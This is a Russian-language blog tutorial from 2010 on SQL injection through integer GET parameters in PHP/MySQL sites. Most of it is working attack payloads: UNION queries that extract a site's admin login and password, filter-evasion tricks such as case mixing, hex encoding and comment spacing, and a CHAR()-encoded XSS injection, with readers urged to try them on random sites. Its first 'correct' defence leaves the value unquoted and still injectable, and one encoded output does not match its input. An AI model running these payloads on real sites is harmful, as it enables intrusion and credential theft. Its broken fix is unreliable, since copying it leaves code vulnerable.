MySQL integer sql-injection

4 сентября 2010 | 6 отзывов | SpYeR в рубрике безопасность

Внезапно написал статью про sql-инъекции. О сео писать нечего, да и не хочется.

Казалось бы, 2010 год на дворе, но многие программисты до сих пор не научились защищать свои веб-приложения. Наверное, чтобы научиться хорошо защищать свои сайты, нужно хоть раз побыть в шкуре хакера. В этой статейке я расскажу об sql-инъекции через GET-запросы на сайтах, на которых используется MySQL. Конкретнее об уязвимостях в полях типа «integer».

Рассмотрим такой код:

SELECT id,title, date, text FROM articles WHERE id = $inj AND date > 0;

$inj вроде бы «фильтруется» с помощью addslashes или mysql_escape_string, но фильтруется неправильно. В конце статьи я, конечно же, расскажу, как правильно фильтровать такие поля.

Итак, как найти такую уязвимость?
Заходим на какой-либо рандомный сайт, и видим в адресной строке, к примеру, http://example.com/articles.php?id=1 SQL-Запрос для выбора указанной статьи мы видим выше.
Вместо единицы мы и будем подставлять нашу инъекцию, но сначала нужно проверить, работает ли она.

http://example.com/articles.php?id=1+AND+1=2‑‑

http://example.com/articles.php?id=1+OR+1=1‑‑

Чтобы нам не мешали лишние условия, которые задаются после id, добавляем два минуса на конце, чтобы mysql игнорировал всё, что идёт после них.

Запросы с подстановкой этих простейших инъекций будут выглядеть так:

SELECT id,title, date, text FROM articles WHERE id = 1 AND 1=2‑‑ AND date > 0;
SELECT id,title, date,text FROM articles WHERE id = 1 OR 1=1‑‑ AND date > 0;

Если в первом случае статья не выводится, но выводится 1 или более статей во втором, то скорее всего мы обнаружили уязвимость. (в обоих случаях часть «‑‑ AND date > 0;» не учитывается)

Что делать дальше?

Теперь, можно составлять наши коварные запросы. Будем мы пользоваться для них такой удобной конструкцией как UNION.
Допустим, мы знаем, что на сервере есть таблица users с колонками id, login, pass
Нам нужно составить запрос, чтобы вытащить логин и пароль самого первого пользователя (зачастую админа). Но сначала нам нужно узнать количество полей, которые запрашиваются и выводятся на страницу. Для этого считаем вот таким образом, пока не прекратятся ошибки:

http://example.com/articles.php?id=1+UNION+SELECT+1‑‑

http://example.com/articles.php?id=1+UNION+SELECT+1,2‑‑

http://example.com/articles.php?id=1+UNION+SELECT+1,2,3,4‑‑

Т.к. у нас выбирается 4 поля, ошибки прекращаются, и где-нибудь на странице мы увидим вытащенную из базы цифру 1, 2, 3 или 4. Например, мы увидели 2 в заголовке.

Зная количество полей и поля, которые выводятся, строим наш конечный запрос:

http://example.com/articles.php?id=1+UNION+SELECT+1,CONCAT(login, 0, pass),3,4+FROM+users+WHERE+id=1‑‑

И с радостью видим на месте заголовка строку вида:
admin0qwerty
MySQL-функция CONCAT объединяет строки, а 0 в данном случае разделитель, т.е. логин – admin, пароль qwerty.

Заметьте, это всё без единой кавычки!

Сложности и подводные камни.

Фильтры.

Попадаются «хитрые» быдлокодеры программисты, которые думают, что код вида
if(strpos(‘select’, $query) === false) их спасёт. Такие вещи обходятся МоЛоДёЖнЫм НаПиСаНиЕм. http://example.com/articles.php?id=1+uNiOn+SeLeCt+1,CONCAT(login,0,pass),3,4‑‑
Есть те, кто догадываются фильтровать ключевые слова MySQL регистро-независимо. Зачастую помогает urlencode каждого символа в его %hex значение.
Простейшая функция на php решает это:

function my_urlencode($str)
{

$encoded = »;

for($i = 0; $i < strlen($str); ++$i){

$encoded .= '%'.dechex(ord($str{$i}));
/*Для каждого символа берётся его ASCII-код и преобразовывается в hex */

}

return $encoded;

}

Запускаем echo my_urlencode('union select'); и на выходе получаем закодированную строку %75%6e%69%6f%6e%20%73%65%6c%65%63%74 .
Запрос теперь:

http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(login, 0, pass),3,4‑‑

Если фильтруются пробелы, то их можно заменить пустыми комментариями /**/ или скобочными выражениями (UNION(SELECT(1)))‑‑ и т. п.

Не выводятся поля.
Ищем в интернете статьи про Blind SQL Injection

Неизвестны другие таблицы и колонки в них.
Начинаем перебирать user, users, profiles, и т. д. Можно также поискать программы вроде Pangolin, которые эти вещи делают автоматически.

И немного про SQL XSS.

А вы думали в данном случае невозможно? В MySQL ведь есть замечательная функция CHAR(), да и мы сейчас кое-что напишем.

function my_mysql_chars($str)
{

$chars = »;

for($i = 0; $i < strlen($str); ++$i){

$chars .= 'char('.ord($str{$i}).'),';
/*Для каждого символа берётся его ASCII-код и записывается по типу char(20),char(80), и т. д. */

}

return $chars;

}

Вызов echo my_mysql_chars(‘<script>alert(/sql_xss!/)</script>’); выдаст нам строку вида  char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62),

Подставляем её в запрос:

http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62)),3,4‑‑

И радуемся ещё и полученному XSS на сайте.

И ни одной кавычки.

Как защититься?

Что не удивительно, защититься проще, чем эксплуатировать эту уязвимость.

Все integer поля в MySQL берём в кавычки и используем обычный mysql_escape_string.

Правильно делать, например, так:
$no_inj = mysql_escape_string($_GET[‘id’]);
mysql_query(“SELECT id, title, date, text FROM articles WHERE id = $no_inj AND date > 0;”);

Если же у вас кавычкофобия или мания прописывать int-поля в запросах без кавычек, то убедитесь, что каждое такое поле фильтруется через intval.

Например,

$no_inj = intval($_GET[‘id’]);
mysql_query(“SELECT id,title, date, text FROM articles WHERE id = $no_inj AND date > 0;”);

Вот и вся фильтрация int-полей, и не надо изобретать никакие безумные фильтры, которые, во-первых, неэффективны, во-вторых, тормозят работу сайта.